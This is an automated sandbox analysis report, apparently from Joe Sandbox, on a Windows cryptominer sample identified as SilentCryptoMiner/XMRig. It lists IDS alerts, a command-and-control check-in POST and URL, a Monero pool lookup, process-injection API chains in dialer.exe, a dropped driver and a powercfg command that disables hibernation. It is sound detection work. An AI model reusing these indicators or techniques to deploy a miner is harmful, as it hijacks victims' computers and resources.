Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~1.PDB @ source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85898DCE0 FindFirstFileExW,	21_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE86DCE0 FindFirstFileExW,	27_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5CDCE0 FindFirstFileExW,	30_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA1DCE0 FindFirstFileExW,	31_2_000001160CA1DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10ADCE0 FindFirstFileExW,	46_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C93DCE0 FindFirstFileExW,	47_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA9854DCE0 FindFirstFileExW,	48_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D26531DCE0 FindFirstFileExW,	49_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27DDCE0 FindFirstFileExW,	50_2_00000254A27DDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DDDCE0 FindFirstFileExW,	51_2_0000024B87DDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD40DCE0 FindFirstFileExW,	52_2_00000205FD40DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056ADCE0 FindFirstFileExW,	53_2_000001A2056ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F6DCE0 FindFirstFileExW,	54_2_0000018EC1F6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E0DCE0 FindFirstFileExW,	55_2_0000025CE3E0DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623898DCE0 FindFirstFileExW,	56_2_000002623898DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E59DCE0 FindFirstFileExW,	57_2_000002786E59DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFADCE0 FindFirstFileExW,	58_2_000001611FFADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F38DCE0 FindFirstFileExW,	59_2_0000027C0F38DCE0

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.94.96.144:8080

Source: global traffic

TCP traffic: 192.168.2.5:56921 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 141.94.96.144 141.94.96.144

Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese
Source: Joe Sandbox View	ASN Name: INF-NET-ASRU INF-NET-ASRU

Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.5:59674 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.5:49705 -> 83.217.209.235:80
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.5:57087 -> 83.217.209.235:80
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.5:57089 -> 83.217.209.235:80
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.5:49704 -> 141.94.96.144:8080

Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	TCP traffic detected without corresponding DNS query: 83.217.209.235
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 485Content-Type: application/jsonHost: 83.217.209.235User-Agent: cpp-httplib/0.12.6

Source: lsass.exe, 0000001B.00000002.3380812837.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://3csp.icrosof4m/ocp0
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php)L
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.php--c
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpaL(
Source: dialer.exe, 0000002D.00000003.2147213918.0000021C6D181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpldn
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://83.217.209.235/yzyzyzyznznnznzxncxzhzxchzcxhcxzhzxchzcxzxcjjkasdjksajkdsa/api/endpoint.phpo
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 0000001B.00000000.2122711438.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378985480.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2123167381.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: driver.exe, 0000001A.00000003.2145145649.000001F307E70000.00000004.00000001.00020000.00000000.sdmp, ftnvuqwjtdwb.sys.26.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: driver.exe, 0000001A.00000003.2145145649.000001F307E70000.00000004.00000001.00020000.00000000.sdmp, ftnvuqwjtdwb.sys.26.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: driver.exe, 0000001A.00000003.2145145649.000001F307E70000.00000004.00000001.00020000.00000000.sdmp, ftnvuqwjtdwb.sys.26.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: driver.exe, 0000001A.00000003.2145145649.000001F307E70000.00000004.00000001.00020000.00000000.sdmp, ftnvuqwjtdwb.sys.26.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 0000001B.00000000.2122711438.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378985480.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2123167381.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 0000001B.00000000.2122711438.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378985480.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2123167381.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 0000001B.00000002.3373903281.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 0000001B.00000002.3373903281.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 0000001B.00000002.3372519545.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2121998643.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122711438.00000140AE05A000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378985480.00000140AE05D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2123167381.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3382338563.00000140AE19F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000003.2417098899.00000140AE172000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: svchost.exe, 00000035.00000002.3378496559.000001A204EE0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: lsass.exe, 0000001B.00000002.3372519545.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2121998643.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 0000001B.00000000.2121952764.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 0000001B.00000002.3372045209.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 0000001B.00000000.2123167381.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2123167381.00000140AE1B3000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122868011.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3378242956.00000140AE000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3383068124.00000140AE1AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122957095.00000140AE151000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000000.2122637141.00000140AE000000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: dialer.exe, 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

System Summary

Malicious sample detected (through community Yara rule)

Source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 45.2.dialer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000002D.00000002.3359712073.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: dialer.exe PID: 528, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF749F41394 NtTerminateProcess,	0_2_00007FF749F41394
Source: C:\Windows\System32\dialer.exe	Code function: 14_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	14_2_00000001400010C0
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589828C8 NtEnumerateValueKey,NtEnumerateValueKey,	21_2_000001E8589828C8
Source: C:\ProgramData\IGaming\driver.exe	Code function: 26_2_00007FF7F4F21394 NtFreezeRegistry,	26_2_00007FF7F4F21394
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE86202C NtQuerySystemInformation,StrCmpNIW,	27_2_00000140AE86202C
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE86253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,	27_2_00000140AE86253C
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA128C8 NtEnumerateValueKey,NtEnumerateValueKey,	31_2_000001160CA128C8
Source: C:\Windows\System32\dialer.exe	Code function: 42_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	42_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_0000000140001394 NtQueryFullAttributesFile,	44_2_0000000140001394
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27D202C NtQuerySystemInformation,StrCmpNIW,	50_2_00000254A27D202C

Source: C:\ProgramData\IGaming\driver.exe

File created: C:\Windows\TEMP\ftnvuqwjtdwb.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_qekbdbcu.ayg.ps1

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF749F43B60	0_2_00007FF749F43B60
Source: C:\Windows\System32\dialer.exe	Code function: 14_2_000000014000226C	14_2_000000014000226C
Source: C:\Windows\System32\dialer.exe	Code function: 14_2_00000001400014D8	14_2_00000001400014D8
Source: C:\Windows\System32\dialer.exe	Code function: 14_2_0000000140002560	14_2_0000000140002560
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E858951F2C	21_2_000001E858951F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589638A8	21_2_000001E8589638A8
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85895D0E0	21_2_000001E85895D0E0
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E858982B2C	21_2_000001E858982B2C
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589944A8	21_2_000001E8589944A8
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85898DCE0	21_2_000001E85898DCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589B1F2C	21_2_000001E8589B1F2C
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589C38A8	21_2_000001E8589C38A8
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589BD0E0	21_2_000001E8589BD0E0
Source: C:\ProgramData\IGaming\driver.exe	Code function: 26_2_00007FF7F4F23B60	26_2_00007FF7F4F23B60
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140ADFC1F2C	27_2_00000140ADFC1F2C
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140ADFCD0E0	27_2_00000140ADFCD0E0
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140ADFD38A8	27_2_00000140ADFD38A8
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE86DCE0	27_2_00000140AE86DCE0
